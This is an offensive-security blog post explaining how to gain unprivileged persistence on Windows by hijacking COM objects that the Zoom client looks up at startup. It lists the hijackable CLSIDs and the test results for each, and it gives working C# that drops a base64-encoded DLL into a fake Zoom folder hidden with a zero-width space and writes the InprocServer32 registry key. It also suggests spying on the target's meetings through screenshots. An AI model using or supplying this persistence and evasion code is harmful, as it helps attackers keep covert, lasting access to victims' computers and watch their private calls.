Unprivileged Zoom Persistence Part 2 – COM Hijacking

In a previous post I discussed how to do user persistence with the Zoom client by abusing its folder permissions to drop a DLL and patching the Zoom.exe binary. Zoom fixed the issue of dropping an arbitrary DLL to be loaded by Zoom by adding a check for loaded DLLs, and patching the binary is an annoying process that you would have to redo every time Zoom releases an update. Since June 2020, Zoom has released 9 updates, some only a day or two apart. Not fun!

So, I wanted to find another way for user persistence that could maybe be more reliable and not require manually patching the Zoom.exe binary every few days. This lead me to COM Hijacking. I probably could have just updated my previous Zoom post but hey I need those clicks for my ad free blog.

COM Hijacking

This is copied from my Steam post:

After reading through Pentest Lab’s recent blog post on COM Hijacking for persistence, I wanted to see if <Zoom> could be used for that (it can).

First, I used Process Monitor to capture what <Zoom> accessed when it first started. I then saved the process monitor logs to a CSV. I then used the aCOMplice tool to extract hijackable COM objects. The Pentest Lab post does a great and thorough job covering how to do this under the “Discover COM Keys – Hijack” heading, so I won’t go over that here.

AcCOMplice and Zoom

Following the same process I did for Steam, I got a list of all CLSIDs that were “NOT FOUND” during startup, and filtered for which ones were unique to Zoom.exe. The results look something like this:

Don’t bother trying to squint at the screenshot, here are the CLSIDs that only Zoom.exe looked for at startup.

  • 04B420FD-FC93-4C2E-B140-DD760D782A09
  • 3CE74DE4-53D3-4D74-8B83-431B3828BA53
  • 62BE5D10-60EB-11d0-BD3B-00A0C911CE86
  • 6994ad05-93ef-11d0-a3cc-00a0c9223196
  • 860BB310-5D01-11d0-BD3B-00A0C911CE86
  • A4B544A1-438D-4B41-9325-869523E2D6C7
  • C988EA6C-5B0D-4030-BB60-21FBF7BBD8AF

I then went through each of these CLSIDs and created an InprocServer32 entry to see if Zoom.exe would load and launch my arbitrary DLL. Each of the CLSIDs were under the HKCU\Software\Classes\WOW6432Node\CLSID registry key. The DLL I included in InprocServer32 would simply start a new cmd.exe process. Here are my notes on the results:

zoom-clsidscountnotes
04B420FD-FC93-4C2E-B140-DD760D782A091cmd does not launch
3CE74DE4-53D3-4D74-8B83-431B3828BA531cmd launched 24 times
62BE5D10-60EB-11d0-BD3B-00A0C911CE861cmd launched 1 time
6994ad05-93ef-11d0-a3cc-00a0c92231961cmd does not launch
860BB310-5D01-11d0-BD3B-00A0C911CE861cmd launches 1 time
A4B544A1-438D-4B41-9325-869523E2D6C71cmd launches 24 times
C988EA6C-5B0D-4030-BB60-21FBF7BBD8AF1cmd does not launch

Some CLSIDs did not launch cmd.exe at all. There could be many reasons that caused this that I did not investigate. Others would launch cmd.exe 20+ times, which was less than ideal for a potential persistence technique (I personally don’t need 20 shells on every system I control). There were a few that only launched cmd.exe 1 time, which looked ideal for my uses. They are:

  • 62BE5D10-60EB-11d0-BD3B-00A0C911CE86
  • 860BB310-5D01-11d0-BD3B-00A0C911CE86

Googling both of the CLSIDs shows that they are related to some sort of webcam device. It’s possible that other video conferencing software would also try and search for these CLSIDs, but I’m not 100% sure as I didn’t find any others that did. Only Zoom.exe was looking for them on my system.

To create the COM hijack persistence, you would create a new registry key that looked like this:

Zoom.exe would load the specified DLL and your payload will launch. During my testing, I tried to have my DLL placed in %APPDATA%\Roaming\Zoom directory with other Zoom related DLLs. That would have given my payload the best chance of “blending in,” but unfortunately Zoom.exe runs its DLL check on any DLL loaded from the Zoom directory. This would require binary patching to bypass, so it seemed best to just place my DLL outside of the Zoom directory.

Zoom will run at startup with the following registry key is set:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Zoom with the value "C:\Users\<user name>\AppData\Roaming\Zoom\bin\Zoom.exe" --background=true. If the key isn’t set you can do so with regular user permissions. Otherwise, Zoom.exe will load your DLL whenever Zoom.exe is started. I guess this could also be used to monitor when your target is starting Zoom calls so you can then start taking screen shots of their meetings.

***Update: Adding Zero-width Spaces for Fun

In a previous post I mentioned using Zero-width spaces to make an analyst’s job harder when trying to determine where your payload is executing from. Thinking about how Zoom was checking all DLLs loaded from the Zoom directories, I thought maybe it work if I created a fake Zoom directory that ended in a Zero-width space. I created some C# code to do that, here:

//Create directory with include zero-width space
string filePath = Environment.GetEnvironmentVariable("appdata").ToString();
filePath += "\\Zoom" + "\u200b";
Directory.CreateDirectory(filePath);

filePath += "\\bin";
Directory.CreateDirectory(filePath);

//write dll bytes to disk
filePath += "\\zStartup.dll";
File.WriteAllBytes(filePath, Convert.FromBase64String(b64Bytes));

The above code firsts gets the user’s %APPDATA% directory, adds a “Zoom” directory that ends in a zero-width space, creates a bin directory under that, and then writes my zStartup.dll.

Once the DLL has been created, I used the following to create the registry key for the {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} COM CLSID.

//create registry key for COM persistence
RegistryKey newkey = Registry.CurrentUser.OpenSubKey(@"Software\Classes\WOW6432Node\CLSID\", true);
newkey.CreateSubKey(@"{62BE5D10-60EB-11d0-BD3B-00A0C911CE86}");

RegistryKey inprocKey = Registry.CurrentUser.OpenSubKey(@"Software\Classes\WOW6432Node\CLSID\{62BE5D10-60EB-11d0-BD3B-00A0C911CE86}", true);
inprocKey.CreateSubKey("InprocServer32");

RegistryKey setDLL = Registry.CurrentUser.OpenSubKey(@"Software\Classes\WOW6432Node\CLSID\{62BE5D10-60EB-11d0-BD3B-00A0C911CE86}\InprocServer32", true);
setDLL.SetValue("", filePath);
setDLL.SetValue("ThreadingModel", "Both");

newkey.Close();
inprocKey.Close();
setDLL.Close();

The key looks like this in regedit:

The zero-width space is hiding nicely in there! Now, when you open Zoom, here’s what you see in procmon:

Zoom loaded my DLL from the zero-width space Zoom directory and started a new cmd.exe process. That’s what I wanted it to do!

I created a new GitHub project for ZoomCOMPersist here. Enjoy!